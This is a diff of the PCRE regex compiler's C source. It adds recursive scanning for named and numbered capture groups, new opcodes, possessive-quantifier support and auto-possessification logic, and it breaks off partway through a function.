+  count        pointer to the current capturing subpattern number (updated)
 
 Returns:       the number of the named subpattern, or -1 if not found
 */
 
 static int
-find_named_parens(const uschar *ptr, int count, const uschar *name, int namelen)
+find_parens_sub(uschar **ptrptr, compile_data *cd, const uschar *name, int lorn,
+  BOOL xmode, int *count)
 {
-const uschar *thisname;
+uschar *ptr = *ptrptr;
+int start_count = *count;
+int hwm_count = start_count;
+BOOL dup_parens = FALSE;
+
+/* If the first character is a parenthesis, check on the type of group we are
+dealing with. The very first call may not start with a parenthesis. */
+
+if (ptr[0] == CHAR_LEFT_PARENTHESIS)
+  {
+  if (ptr[1] == CHAR_QUESTION_MARK &&
+      ptr[2] == CHAR_VERTICAL_LINE)
+    {
+    ptr += 3;
+    dup_parens = TRUE;
+    }
+
+  /* Handle a normal, unnamed capturing parenthesis */
+
+  else if (ptr[1] != CHAR_QUESTION_MARK && ptr[1] != CHAR_ASTERISK)
+    {
+    *count += 1;
+    if (name == NULL && *count == lorn) return *count;
+    ptr++;
+    }
+
+  /* Handle a condition. If it is an assertion, just carry on so that it
+  is processed as normal. If not, skip to the closing parenthesis of the
+  condition (there can't be any nested parens. */
+
+  else if (ptr[2] == CHAR_LEFT_PARENTHESIS)
+    {
+    ptr += 2;
+    if (ptr[1] != CHAR_QUESTION_MARK)
+      {
+      while (*ptr != 0 && *ptr != CHAR_RIGHT_PARENTHESIS) ptr++;
+      if (*ptr != 0) ptr++;
+      }
+    }
+
+  /* We have either (? or (* and not a condition */
+
+  else
+    {
+    ptr += 2;
+    if (*ptr == CHAR_P) ptr++;                      /* Allow optional P */
+
+    /* We have to disambiguate (?<! and (?<= from (?<name> for named groups */
+
+    if ((*ptr == CHAR_LESS_THAN_SIGN && ptr[1] != CHAR_EXCLAMATION_MARK &&
+        ptr[1] != CHAR_EQUALS_SIGN) || *ptr == CHAR_APOSTROPHE)
+      {
+      int term;
+      const uschar *thisname;
+      *count += 1;
+      if (name == NULL && *count == lorn) return *count;
+      term = *ptr++;
+      if (term == CHAR_LESS_THAN_SIGN) term = CHAR_GREATER_THAN_SIGN;
+      thisname = ptr;
+      while (*ptr != term) ptr++;
+      if (name != NULL && lorn == ptr - thisname &&
+          strncmp((const char *)name, (const char *)thisname, lorn) == 0)
+        return *count;
+      }
+    }
+  }
+
+/* Past any initial parenthesis handling, scan for parentheses or vertical
+bars. */
+
 for (; *ptr != 0; ptr++)
   {
-  if (*ptr == '\\' && ptr[1] != 0) { ptr++; continue; }
-  if (*ptr != '(') continue;
-  if (ptr[1] != '?') { count++; continue; }
-  if (ptr[2] == '(') { ptr += 2; continue; }
-  if (ptr[2] != 'P' || ptr[3] != '<') continue;
-  count++;
-  ptr += 4;
-  thisname = ptr;
-  while (*ptr != '>') ptr++;
-  if (namelen == ptr - thisname && strncmp(name, thisname, namelen) == 0)
-    return count;
+  /* Skip over backslashed characters and also entire \Q...\E */
+
+  if (*ptr == CHAR_BACKSLASH)
+    {
+    if (*(++ptr) == 0) goto FAIL_EXIT;
+    if (*ptr == CHAR_Q) for (;;)
+      {
+      while (*(++ptr) != 0 && *ptr != CHAR_BACKSLASH) {};
+      if (*ptr == 0) goto FAIL_EXIT;
+      if (*(++ptr) == CHAR_E) break;
+      }
+    continue;
+    }
+
+  /* Skip over character classes; this logic must be similar to the way they
+  are handled for real. If the first character is '^', skip it. Also, if the
+  first few characters (either before or after ^) are \Q\E or \E we skip them
+  too. This makes for compatibility with Perl. Note the use of STR macros to
+  encode "Q\\E" so that it works in UTF-8 on EBCDIC platforms. */
+
+  if (*ptr == CHAR_LEFT_SQUARE_BRACKET)
+    {
+    BOOL negate_class = FALSE;
+    for (;;)
+      {
+      int c = *(++ptr);
+      if (c == CHAR_BACKSLASH)
+        {
+        if (ptr[1] == CHAR_E)
+          ptr++;
+        else if (strncmp((const char *)ptr+1,
+                 STR_Q STR_BACKSLASH STR_E, 3) == 0)
+          ptr += 3;
+        else
+          break;
+        }
+      else if (!negate_class && c == CHAR_CIRCUMFLEX_ACCENT)
+        negate_class = TRUE;
+      else break;
+      }
+
+    /* If the next character is ']', it is a data character that must be
+    skipped, except in JavaScript compatibility mode. */
+
+    if (ptr[1] == CHAR_RIGHT_SQUARE_BRACKET &&
+        (cd->external_options & PCRE_JAVASCRIPT_COMPAT) == 0)
+      ptr++;
+
+    while (*(++ptr) != CHAR_RIGHT_SQUARE_BRACKET)
+      {
+      if (*ptr == 0) return -1;
+      if (*ptr == CHAR_BACKSLASH)
+        {
+        if (*(++ptr) == 0) goto FAIL_EXIT;
+        if (*ptr == CHAR_Q) for (;;)
+          {
+          while (*(++ptr) != 0 && *ptr != CHAR_BACKSLASH) {};
+          if (*ptr == 0) goto FAIL_EXIT;
+          if (*(++ptr) == CHAR_E) break;
+          }
+        continue;
+        }
+      }
+    continue;
+    }
+
+  /* Skip comments in /x mode */
+
+  if (xmode && *ptr == CHAR_NUMBER_SIGN)
+    {
+    while (*(++ptr) != 0 && *ptr != CHAR_NL) {};
+    if (*ptr == 0) goto FAIL_EXIT;
+    continue;
+    }
+
+  /* Check for the special metacharacters */
+
+  if (*ptr == CHAR_LEFT_PARENTHESIS)
+    {
+    int rc = find_parens_sub(&ptr, cd, name, lorn, xmode, count);
+    if (rc > 0) return rc;
+    if (*ptr == 0) goto FAIL_EXIT;
+    }
+
+  else if (*ptr == CHAR_RIGHT_PARENTHESIS)
+    {
+    if (dup_parens && *count < hwm_count) *count = hwm_count;
+    *ptrptr = ptr;
+    return -1;
+    }
+
+  else if (*ptr == CHAR_VERTICAL_LINE && dup_parens)
+    {
+    if (*count > hwm_count) hwm_count = *count;
+    *count = start_count;
+    }
   }
+
+FAIL_EXIT:
+*ptrptr = ptr;
 return -1;
 }
 
 
 
+
 /*************************************************
+*       Find forward referenced subpattern       *
+*************************************************/
+
+/* This function scans along a pattern's text looking for capturing
+subpatterns, and counting them. If it finds a named pattern that matches the
+name it is given, it returns its number. Alternatively, if the name is NULL, it
+returns when it reaches a given numbered subpattern. This is used for forward
+references to subpatterns. We used to be able to start this scan from the
+current compiling point, using the current count value from cd->bracount, and
+do it all in a single loop, but the addition of the possibility of duplicate
+subpattern numbers means that we have to scan from the very start, in order to
+take account of such duplicates, and to use a recursive function to keep track
+of the different types of group.
+
+Arguments:
+  cd           compile background data
+  name         name to seek, or NULL if seeking a numbered subpattern
+  lorn         name length, or subpattern number if name is NULL
+  xmode        TRUE if we are in /x mode
+
+Returns:       the number of the found subpattern, or -1 if not found
+*/
+
+static int
+find_parens(compile_data *cd, const uschar *name, int lorn, BOOL xmode)
+{
+uschar *ptr = (uschar *)cd->start_pattern;
+int count = 0;
+int rc;
+
+/* If the pattern does not start with an opening parenthesis, the first call
+to find_parens_sub() will scan right to the end (if necessary). However, if it
+does start with a parenthesis, find_parens_sub() will return when it hits the
+matching closing parens. That is why we have to have a loop. */
+
+for (;;)
+  {
+  rc = find_parens_sub(&ptr, cd, name, lorn, xmode, &count);
+  if (rc > 0 || *ptr++ == 0) break;
+  }
+
+return rc;
+}
+
+
+
+
+/*************************************************
 *      Find first significant op code            *
 *************************************************/
 
@@ -862,7 +1312,8 @@
 
     case OP_CALLOUT:
     case OP_CREF:
-    case OP_BRANUMBER:
+    case OP_RREF:
+    case OP_DEF:
     code += _pcre_OP_lengths[*code];
     break;
 
@@ -907,14 +1358,13 @@
   {
   int d;
   register int op = *cc;
-  if (op >= OP_BRA) op = OP_BRA;
-
   switch (op)
     {
+    case OP_CBRA:
     case OP_BRA:
     case OP_ONCE:
     case OP_COND:
-    d = find_fixedlength(cc, options);
+    d = find_fixedlength(cc + ((op == OP_CBRA)? 2:0), options);
     if (d < 0) return d;
     branchlength += d;
     do cc += GET(cc, 1); while (*cc == OP_ALT);
@@ -949,8 +1399,9 @@
     /* Skip over things that don't match chars */
 
     case OP_REVERSE:
-    case OP_BRANUMBER:
     case OP_CREF:
+    case OP_RREF:
+    case OP_DEF:
     case OP_OPT:
     case OP_CALLOUT:
     case OP_SOD:
@@ -995,6 +1446,7 @@
 
     case OP_TYPEEXACT:
     branchlength += GET2(cc,1);
+    if (cc[3] == OP_PROP || cc[3] == OP_NOTPROP) cc += 2;
     cc += 4;
     break;
 
@@ -1012,6 +1464,7 @@
     case OP_NOT_WORDCHAR:
     case OP_WORDCHAR:
     case OP_ANY:
+    case OP_ALLANY:
     branchlength++;
     cc++;
     break;
@@ -1094,25 +1547,52 @@
 
   if (c == OP_XCLASS) code += GET(code, 1);
 
-  /* Handle bracketed group */
+  /* Handle capturing bracket */
 
-  else if (c > OP_BRA)
+  else if (c == OP_CBRA)
     {
-    int n = c - OP_BRA;
-    if (n > EXTRACT_BASIC_MAX) n = GET2(code, 2+LINK_SIZE);
+    int n = GET2(code, 1+LINK_SIZE);
     if (n == number) return (uschar *)code;
-    code += _pcre_OP_lengths[OP_BRA];
+    code += _pcre_OP_lengths[c];
     }
 
-  /* Otherwise, we get the item's length from the table. In UTF-8 mode, opcodes
-  that are followed by a character may be followed by a multi-byte character.
-  The length in the table is a minimum, so we have to scan along to skip the
-  extra bytes. All opcodes are less than 128, so we can use relatively
-  efficient code. */
+  /* Otherwise, we can get the item's length from the table, except that for
+  repeated character types, we have to test for \p and \P, which have an extra
+  two bytes of parameters. */
 
   else
     {
+    switch(c)
+      {
+      case OP_TYPESTAR:
+      case OP_TYPEMINSTAR:
+      case OP_TYPEPLUS:
+      case OP_TYPEMINPLUS:
+      case OP_TYPEQUERY:
+      case OP_TYPEMINQUERY:
+      case OP_TYPEPOSSTAR:
+      case OP_TYPEPOSPLUS:
+      case OP_TYPEPOSQUERY:
+      if (code[1] == OP_PROP || code[1] == OP_NOTPROP) code += 2;
+      break;
+
+      case OP_TYPEUPTO:
+      case OP_TYPEMINUPTO:
+      case OP_TYPEEXACT:
+      case OP_TYPEPOSUPTO:
+      if (code[3] == OP_PROP || code[3] == OP_NOTPROP) code += 2;
+      break;
+      }
+
+    /* Add in the fixed length from the table */
+
     code += _pcre_OP_lengths[c];
+
+  /* In UTF-8 mode, opcodes that are followed by a character may be followed by
+  a multi-byte character. The length in the table is a minimum, so we have to
+  arrange to skip the extra bytes. */
+
+#ifdef SUPPORT_UTF8
     if (utf8) switch(c)
       {
       case OP_CHAR:
@@ -1120,15 +1600,22 @@
       case OP_EXACT:
       case OP_UPTO:
       case OP_MINUPTO:
+      case OP_POSUPTO:
       case OP_STAR:
       case OP_MINSTAR:
+      case OP_POSSTAR:
       case OP_PLUS:
       case OP_MINPLUS:
+      case OP_POSPLUS:
       case OP_QUERY:
       case OP_MINQUERY:
-      while ((*code & 0xc0) == 0x80) code++;
+      case OP_POSQUERY:
+      if (code[-1] >= 0xc0) code += _pcre_utf8_table4[code[-1] & 0x3f];
       break;
       }
+#else
+    (void)(utf8);  /* Keep compiler happy by referencing function argument */
+#endif
     }
   }
 }
@@ -1164,22 +1651,43 @@
 
   if (c == OP_XCLASS) code += GET(code, 1);
 
-  /* All bracketed groups have the same length. */
+  /* Otherwise, we can get the item's length from the table, except that for
+  repeated character types, we have to test for \p and \P, which have an extra
+  two bytes of parameters. */
 
-  else if (c > OP_BRA)
+  else
     {
-    code += _pcre_OP_lengths[OP_BRA];
-    }
+    switch(c)
+      {
+      case OP_TYPESTAR:
+      case OP_TYPEMINSTAR:
+      case OP_TYPEPLUS:
+      case OP_TYPEMINPLUS:
+      case OP_TYPEQUERY:
+      case OP_TYPEMINQUERY:
+      case OP_TYPEPOSSTAR:
+      case OP_TYPEPOSPLUS:
+      case OP_TYPEPOSQUERY:
+      if (code[1] == OP_PROP || code[1] == OP_NOTPROP) code += 2;
+      break;
 
-  /* Otherwise, we get the item's length from the table. In UTF-8 mode, opcodes
-  that are followed by a character may be followed by a multi-byte character.
-  The length in the table is a minimum, so we have to scan along to skip the
-  extra bytes. All opcodes are less than 128, so we can use relatively
-  efficient code. */
+      case OP_TYPEPOSUPTO:
+      case OP_TYPEUPTO:
+      case OP_TYPEMINUPTO:
+      case OP_TYPEEXACT:
+      if (code[3] == OP_PROP || code[3] == OP_NOTPROP) code += 2;
+      break;
+      }
 
-  else
-    {
+    /* Add in the fixed length from the table */
+
     code += _pcre_OP_lengths[c];
+
+    /* In UTF-8 mode, opcodes that are followed by a character may be followed
+    by a multi-byte character. The length in the table is a minimum, so we have
+    to arrange to skip the extra bytes. */
+
+#ifdef SUPPORT_UTF8
     if (utf8) switch(c)
       {
       case OP_CHAR:
@@ -1187,15 +1695,22 @@
       case OP_EXACT:
       case OP_UPTO:
       case OP_MINUPTO:
+      case OP_POSUPTO:
       case OP_STAR:
       case OP_MINSTAR:
+      case OP_POSSTAR:
       case OP_PLUS:
       case OP_MINPLUS:
+      case OP_POSPLUS:
       case OP_QUERY:
       case OP_MINQUERY:
-      while ((*code & 0xc0) == 0x80) code++;
+      case OP_POSQUERY:
+      if (code[-1] >= 0xc0) code += _pcre_utf8_table4[code[-1] & 0x3f];
       break;
       }
+#else
+    (void)(utf8);  /* Keep compiler happy by referencing function argument */
+#endif
     }
   }
 }
@@ -1207,10 +1722,12 @@
 *************************************************/
 
 /* This function scans through a branch of a compiled pattern to see whether it
-can match the empty string or not. It is called only from could_be_empty()
-below. Note that first_significant_code() skips over assertions. If we hit an
-unclosed bracket, we return "empty" - this means we've struck an inner bracket
-whose current branch will already have been scanned.
+can match the empty string or not. It is called from could_be_empty()
+below and from compile_branch() when checking for an unlimited repeat of a
+group that can match nothing. Note that first_significant_code() skips over
+backward and negative forward assertions when its final argument is TRUE. If we
+hit an unclosed bracket, we return "empty" - this means we've struck an inner
+bracket whose current branch will already have been scanned.
 
 Arguments:
   code        points to start of search
@@ -1224,7 +1741,7 @@
 could_be_empty_branch(const uschar *code, const uschar *endcode, BOOL utf8)
 {
 register int c;
-for (code = first_significant_code(code + 1 + LINK_SIZE, NULL, 0, TRUE);
+for (code = first_significant_code(code + _pcre_OP_lengths[*code], NULL, 0, TRUE);
      code < endcode;
      code = first_significant_code(code + _pcre_OP_lengths[c], NULL, 0, TRUE))
   {
@@ -1232,33 +1749,69 @@
 
   c = *code;
 
-  if (c >= OP_BRA)
+  /* Skip over forward assertions; the other assertions are skipped by
+  first_significant_code() with a TRUE final argument. */
+
+  if (c == OP_ASSERT)
     {
+    do code += GET(code, 1); while (*code == OP_ALT);
+    c = *code;
+    continue;
+    }
+
+  /* Groups with zero repeats can of course be empty; skip them. */
+
+  if (c == OP_BRAZERO || c == OP_BRAMINZERO || c == OP_SKIPZERO)
+    {
+    code += _pcre_OP_lengths[c];
+    do code += GET(code, 1); while (*code == OP_ALT);
+    c = *code;
+    continue;
+    }
+
+  /* For other groups, scan the branches. */
+
+  if (c == OP_BRA || c == OP_CBRA || c == OP_ONCE || c == OP_COND)
+    {
     BOOL empty_branch;
     if (GET(code, 1) == 0) return TRUE;    /* Hit unclosed bracket */
 
-    /* Scan a closed bracket */
+    /* If a conditional group has only one branch, there is a second, implied,
+    empty branch, so just skip over the conditional, because it could be empty.
+    Otherwise, scan the individual branches of the group. */
 
-    empty_branch = FALSE;
-    do
+    if (c == OP_COND && code[GET(code, 1)] != OP_ALT)
+      code += GET(code, 1);
+    else
       {
-      if (!empty_branch && could_be_empty_branch(code, endcode, utf8))
-        empty_branch = TRUE;
-      code += GET(code, 1);
+      empty_branch = FALSE;
+      do
+        {
+        if (!empty_branch && could_be_empty_branch(code, endcode, utf8))
+          empty_branch = TRUE;
+        code += GET(code, 1);
+        }
+      while (*code == OP_ALT);
+      if (!empty_branch) return FALSE;   /* All branches are non-empty */
       }
-    while (*code == OP_ALT);
-    if (!empty_branch) return FALSE;   /* All branches are non-empty */
-    code += 1 + LINK_SIZE;
+
     c = *code;
+    continue;
     }
 
-  else switch (c)
+  /* Handle the other opcodes */
+
+  switch (c)
     {
-    /* Check for quantifiers after a class */
+    /* Check for quantifiers after a class. XCLASS is used for classes that
+    cannot be represented just by a bit map. This includes negated single
+    high-valued characters. The length in _pcre_OP_lengths[] is zero; the
+    actual length is stored in the compiled code, so we must update "code"
+    here. */
 
 #ifdef SUPPORT_UTF8
     case OP_XCLASS:
-    ccode = code + GET(code, 1);
+    ccode = code += GET(code, 1);
     goto CHECK_CLASS_REPEAT;
 #endif
 
@@ -1302,21 +1855,45 @@
     case OP_NOT_WORDCHAR:
     case OP_WORDCHAR:
     case OP_ANY:
+    case OP_ALLANY:
     case OP_ANYBYTE:
     case OP_CHAR:
     case OP_CHARNC:
     case OP_NOT:
     case OP_PLUS:
     case OP_MINPLUS:
+    case OP_POSPLUS:
     case OP_EXACT:
     case OP_NOTPLUS:
     case OP_NOTMINPLUS:
+    case OP_NOTPOSPLUS:
     case OP_NOTEXACT:
     case OP_TYPEPLUS:
     case OP_TYPEMINPLUS:
+    case OP_TYPEPOSPLUS:
     case OP_TYPEEXACT:
     return FALSE;
 
+    /* These are going to continue, as they may be empty, but we have to
+    fudge the length for the \p and \P cases. */
+
+    case OP_TYPESTAR:
+    case OP_TYPEMINSTAR:
+    case OP_TYPEPOSSTAR:
+    case OP_TYPEQUERY:
+    case OP_TYPEMINQUERY:
+    case OP_TYPEPOSQUERY:
+    if (code[1] == OP_PROP || code[1] == OP_NOTPROP) code += 2;
+    break;
+
+    /* Same for these */
+
+    case OP_TYPEUPTO:
+    case OP_TYPEMINUPTO:
+    case OP_TYPEPOSUPTO:
+    if (code[3] == OP_PROP || code[3] == OP_NOTPROP) code += 2;
+    break;
+
     /* End of branch */
 
     case OP_KET:
@@ -1325,16 +1902,19 @@
     case OP_ALT:
     return TRUE;
 
-    /* In UTF-8 mode, STAR, MINSTAR, QUERY, MINQUERY, UPTO, and MINUPTO  may be
-    followed by a multibyte character */
+    /* In UTF-8 mode, STAR, MINSTAR, POSSTAR, QUERY, MINQUERY, POSQUERY, UPTO,
+    MINUPTO, and POSUPTO may be followed by a multibyte character */
 
 #ifdef SUPPORT_UTF8
     case OP_STAR:
     case OP_MINSTAR:
+    case OP_POSSTAR:
     case OP_QUERY:
     case OP_MINQUERY:
+    case OP_POSQUERY:
     case OP_UPTO:
     case OP_MINUPTO:
+    case OP_POSUPTO:
     if (utf8) while ((code[2] & 0xc0) == 0x80) code++;
     break;
 #endif
@@ -1383,29 +1963,48 @@
 *************************************************/
 
 /* This function is called when the sequence "[:" or "[." or "[=" is
-encountered in a character class. It checks whether this is followed by an
-optional ^ and then a sequence of letters, terminated by a matching ":]" or
-".]" or "=]".
+encountered in a character class. It checks whether this is followed by a
+sequence of characters terminated by a matching ":]" or ".]" or "=]". If we
+reach an unescaped ']' without the special preceding character, return FALSE.
 
-Argument:
+Originally, this function only recognized a sequence of letters between the
+terminators, but it seems that Perl recognizes any sequence of characters,
+though of course unknown POSIX names are subsequently rejected. Perl gives an
+"Unknown POSIX class" error for [:f\oo:] for example, where previously PCRE
+didn't consider this to be a POSIX class. Likewise for [:1234:].
+
+The problem in trying to be exactly like Perl is in the handling of escapes. We
+have to be sure that [abc[:x\]pqr] is *not* treated as containing a POSIX
+class, but [abc[:x\]pqr:]] is (so that an error can be generated). The code
+below handles the special case of \], but does not try to do any other escape
+processing. This makes it different from Perl for cases such as [:l\ower:]
+where Perl recognizes it as the POSIX class "lower" but PCRE does not recognize
+"l\ower". This is a lesser evil that not diagnosing bad classes when Perl does,
+I think.
+
+Arguments:
   ptr      pointer to the initial [
   endptr   where to return the end pointer
-  cd       pointer to compile data
 
 Returns:   TRUE or FALSE
 */
 
 static BOOL
-check_posix_syntax(const uschar *ptr, const uschar **endptr, compile_data *cd)
+check_posix_syntax(const uschar *ptr, const uschar **endptr)
 {
 int terminator;          /* Don't combine these lines; the Solaris cc */
 terminator = *(++ptr);   /* compiler warns about "non-constant" initializer. */
-if (*(++ptr) == '^') ptr++;
-while ((cd->ctypes[*ptr] & ctype_letter) != 0) ptr++;
-if (*ptr == terminator && ptr[1] == ']')
+for (++ptr; *ptr != 0; ptr++)
   {
-  *endptr = ptr;
-  return TRUE;
+  if (*ptr == CHAR_BACKSLASH && ptr[1] == CHAR_RIGHT_SQUARE_BRACKET) ptr++; else
+    {
+    if (*ptr == CHAR_RIGHT_SQUARE_BRACKET) return FALSE;
+    if (*ptr == terminator && ptr[1] == CHAR_RIGHT_SQUARE_BRACKET)
+      {
+      *endptr = ptr;
+      return TRUE;
+      }
+    }
   }
 return FALSE;
 }
@@ -1430,11 +2029,13 @@
 static int
 check_posix_name(const uschar *ptr, int len)
 {
+const char *pn = posix_names;
 register int yield = 0;
 while (posix_name_lengths[yield] != 0)
   {
   if (len == posix_name_lengths[yield] &&
-    strncmp((const char *)ptr, posix_names[yield], len) == 0) return yield;
+    strncmp((const char *)ptr, pn, len) == 0) return yield;
+  pn += posix_name_lengths[yield] + 1;
   yield++;
   }
 return -1;
@@ -1449,29 +2050,62 @@
 that is referenced. This means that groups can be replicated for fixed
 repetition simply by copying (because the recursion is allowed to refer to
 earlier groups that are outside the current group). However, when a group is
-optional (i.e. the minimum quantifier is zero), OP_BRAZERO is inserted before
-it, after it has been compiled. This means that any OP_RECURSE items within it
-that refer to the group itself or any contained groups have to have their
-offsets adjusted. That is the job of this function. Before it is called, the
-partially compiled regex must be temporarily terminated with OP_END.
+optional (i.e. the minimum quantifier is zero), OP_BRAZERO or OP_SKIPZERO is
+inserted before it, after it has been compiled. This means that any OP_RECURSE
+items within it that refer to the group itself or any contained groups have to
+have their offsets adjusted. That one of the jobs of this function. Before it
+is called, the partially compiled regex must be temporarily terminated with
+OP_END.
 
+This function has been extended with the possibility of forward references for
+recursions and subroutine calls. It must also check the list of such references
+for the group we are dealing with. If it finds that one of the recursions in
+the current group is on this list, it adjusts the offset in the list, not the
+value in the reference (which is a group number).
+
 Arguments:
   group      points to the start of the group
   adjust     the amount by which the group is to be moved
   utf8       TRUE in UTF-8 mode
   cd         contains pointers to tables etc.
+  save_hwm   the hwm forward reference pointer at the start of the group
 
 Returns:     nothing
 */
 
 static void
-adjust_recurse(uschar *group, int adjust, BOOL utf8, compile_data *cd)
+adjust_recurse(uschar *group, int adjust, BOOL utf8, compile_data *cd,
+  uschar *save_hwm)
 {
 uschar *ptr = group;
+
 while ((ptr = (uschar *)find_recurse(ptr, utf8)) != NULL)
   {
-  int offset = GET(ptr, 1);
-  if (cd->start_code + offset >= group) PUT(ptr, 1, offset + adjust);
+  int offset;
+  uschar *hc;
+
+  /* See if this recursion is on the forward reference list. If so, adjust the
+  reference. */
+
+  for (hc = save_hwm; hc < cd->hwm; hc += LINK_SIZE)
+    {
+    offset = GET(hc, 0);
+    if (cd->start_code + offset == ptr + 1)
+      {
+      PUT(hc, 0, offset + adjust);
+      break;
+      }
+    }
+
+  /* Otherwise, adjust the recursion offset if it's after the start of this
+  group. */
+
+  if (hc >= cd->hwm)
+    {
+    offset = GET(ptr, 1);
+    if (cd->start_code + offset >= group) PUT(ptr, 1, offset + adjust);
+    }
+
   ptr += 1 + LINK_SIZE;
   }
 }
@@ -1550,12 +2184,13 @@
 */
 
 static BOOL
-get_othercase_range(int *cptr, int d, int *ocptr, int *odptr)
+get_othercase_range(unsigned int *cptr, unsigned int d, unsigned int *ocptr,
+  unsigned int *odptr)
 {
-int c, othercase, next;
+unsigned int c, othercase, next;
 
 for (c = *cptr; c <= d; c++)
-  { if ((othercase = _pcre_ucp_othercase(c)) >= 0) break; }
+  { if ((othercase = UCD_OTHERCASE(c)) != c) break; }
 
 if (c > d) return FALSE;
 
@@ -1564,7 +2199,7 @@
 
 for (++c; c <= d; c++)
   {
-  if (_pcre_ucp_othercase(c) != next) break;
+  if (UCD_OTHERCASE(c) != next) break;
   next++;
   }
 
@@ -1576,17 +2211,353 @@
 #endif  /* SUPPORT_UCP */
 
 
+
 /*************************************************
+*     Check if auto-possessifying is possible    *
+*************************************************/
+
+/* This function is called for unlimited repeats of certain items, to see
+whether the next thing could possibly match the repeated item. If not, it makes
+sense to automatically possessify the repeated item.
+
+Arguments:
+  op_code       the repeated op code
+  this          data for this item, depends on the opcode
+  utf8          TRUE in UTF-8 mode
+  utf8_char     used for utf8 character bytes, NULL if not relevant
+  ptr           next character in pattern
+  options       options bits
+  cd            contains pointers to tables etc.
+
+Returns:        TRUE if possessifying is wanted
+*/
+
+static BOOL
+check_auto_possessive(int op_code, int item, BOOL utf8, uschar *utf8_char,
+  const uschar *ptr, int options, compile_data *cd)
+{
+int next;
+
+/* Skip whitespace and comments in extended mode */
+
+if ((options & PCRE_EXTENDED) != 0)
+  {
+  for (;;)
+    {
+    while ((cd->ctypes[*ptr] & ctype_space) != 0) ptr++;
+    if (*ptr == CHAR_NUMBER_SIGN)
+      {
+      while (*(++ptr) != 0)
+        if (IS_NEWLINE(ptr)) { ptr += cd->nllen; break; }
+      }
+    else break;
+    }
+  }
+
+/* If the next item is one that we can handle, get its value. A non-negative
+value is a character, a negative value is an escape value. */
+
+if (*ptr == CHAR_BACKSLASH)
+  {
+  int temperrorcode = 0;
+  next = check_escape(&ptr, &temperrorcode, cd->bracount, options, FALSE);
+  if (temperrorcode != 0) return FALSE;
+  ptr++;    /* Point after the escape sequence */
+  }
+
+else if ((cd->ctypes[*ptr] & ctype_meta) == 0)
+  {
+#ifdef SUPPORT_UTF8
+  if (utf8) { GETCHARINC(next, ptr); } else
+#endif
+  next = *ptr++;
+  }
+
+else return FALSE;
+
+/* Skip whitespace and comments in extended mode */
+
+if ((options & PCRE_EXTENDED) != 0)
+  {
+  for (;;)
+    {
+    while ((cd->ctypes[*ptr] & ctype_space) != 0) ptr++;
+    if (*ptr == CHAR_NUMBER_SIGN)
+      {
+      while (*(++ptr) != 0)
+        if (IS_NEWLINE(ptr)) { ptr += cd->nllen; break; }
+      }
+    else break;
+    }
+  }
+
+/* If the next thing is itself optional, we have to give up. */
+
+if (*ptr == CHAR_ASTERISK || *ptr == CHAR_QUESTION_MARK ||
+  strncmp((char *)ptr, STR_LEFT_CURLY_BRACKET STR_0 STR_COMMA, 3) == 0)
+    return FALSE;
+
+/* Now compare the next item with the previous opcode. If the previous is a
+positive single character match, "item" either contains the character or, if
+"item" is greater than 127 in utf8 mode, the character's bytes are in
+utf8_char. */
+
+
+/* Handle cases when the next item is a character. */
+
+if (next >= 0) switch(op_code)
+  {
+  case OP_CHAR:
+#ifdef SUPPORT_UTF8
+  if (utf8 && item > 127) { GETCHAR(item, utf8_char); }
+#else
+  (void)(utf8_char);  /* Keep compiler happy by referencing function argument */
+#endif
+  return item != next;
+
+  /* For CHARNC (caseless character) we must check the other case. If we have
+  Unicode property support, we can use it to test the other case of
+  high-valued characters. */
+
+  case OP_CHARNC:
+#ifdef SUPPORT_UTF8
+  if (utf8 && item > 127) { GETCHAR(item, utf8_char); }
+#endif
+  if (item == next) return FALSE;
+#ifdef SUPPORT_UTF8
+  if (utf8)
+    {
+    unsigned int othercase;
+    if (next < 128) othercase = cd->fcc[next]; else
+#ifdef SUPPORT_UCP
+    othercase = UCD_OTHERCASE((unsigned int)next);
+#else
+    othercase = NOTACHAR;
+#endif
+    return (unsigned int)item != othercase;
+    }
+  else
+#endif  /* SUPPORT_UTF8 */
+  return (item != cd->fcc[next]);  /* Non-UTF-8 mode */
+
+  /* For OP_NOT, "item" must be a single-byte character. */
+
+  case OP_NOT:
+  if (item == next) return TRUE;
+  if ((options & PCRE_CASELESS) == 0) return FALSE;
+#ifdef SUPPORT_UTF8
+  if (utf8)
+    {
+    unsigned int othercase;
+    if (next < 128) othercase = cd->fcc[next]; else
+#ifdef SUPPORT_UCP
+    othercase = UCD_OTHERCASE(next);
+#else
+    othercase = NOTACHAR;
+#endif
+    return (unsigned int)item == othercase;
+    }
+  else
+#endif  /* SUPPORT_UTF8 */
+  return (item == cd->fcc[next]);  /* Non-UTF-8 mode */
+
+  case OP_DIGIT:
+  return next > 127 || (cd->ctypes[next] & ctype_digit) == 0;
+
+  case OP_NOT_DIGIT:
+  return next <= 127 && (cd->ctypes[next] & ctype_digit) != 0;
+
+  case OP_WHITESPACE:
+  return next > 127 || (cd->ctypes[next] & ctype_space) == 0;
+
+  case OP_NOT_WHITESPACE:
+  return next <= 127 && (cd->ctypes[next] & ctype_space) != 0;
+
+  case OP_WORDCHAR:
+  return next > 127 || (cd->ctypes[next] & ctype_word) == 0;
+
+  case OP_NOT_WORDCHAR:
+  return next <= 127 && (cd->ctypes[next] & ctype_word) != 0;
+
+  case OP_HSPACE:
+  case OP_NOT_HSPACE:
+  switch(next)
+    {
+    case 0x09:
+    case 0x20:
+    case 0xa0:
+    case 0x1680:
+    case 0x180e:
+    case 0x2000:
+    case 0x2001:
+    case 0x2002:
+    case 0x2003:
+    case 0x2004:
+    case 0x2005:
+    case 0x2006:
+    case 0x2007:
+    case 0x2008:
+    case 0x2009:
+    case 0x200A:
+    case 0x202f:
+    case 0x205f:
+    case 0x3000:
+    return op_code != OP_HSPACE;
+    default:
+    return op_code == OP_HSPACE;
+    }
+
+  case OP_VSPACE:
+  case OP_NOT_VSPACE:
+  switch(next)
+    {
+    case 0x0a:
+    case 0x0b:
+    case 0x0c:
+    case 0x0d:
+    case 0x85:
+    case 0x2028:
+    case 0x2029:
+    return op_code != OP_VSPACE;
+    default:
+    return op_code == OP_VSPACE;
+    }
+
+  default:
+  return FALSE;
+  }
+
+
+/* Handle the case when the next item is \d, \s, etc. */
+
+switch(op_code)
+  {
+  case OP_CHAR:
+  case OP_CHARNC:
+#ifdef SUPPORT_UTF8
+  if (utf8 && item > 127) { GETCHAR(item, utf8_char); }
+#endif
+  switch(-next)
+    {
+    case ESC_d:
+    return item > 127 || (cd->ctypes[item] & ctype_digit) == 0;
+
+    case ESC_D:
+    return item <= 127 && (cd->ctypes[item] & ctype_digit) != 0;
+
+    case ESC_s:
+    return item > 127 || (cd->ctypes[item] & ctype_space) == 0;
+
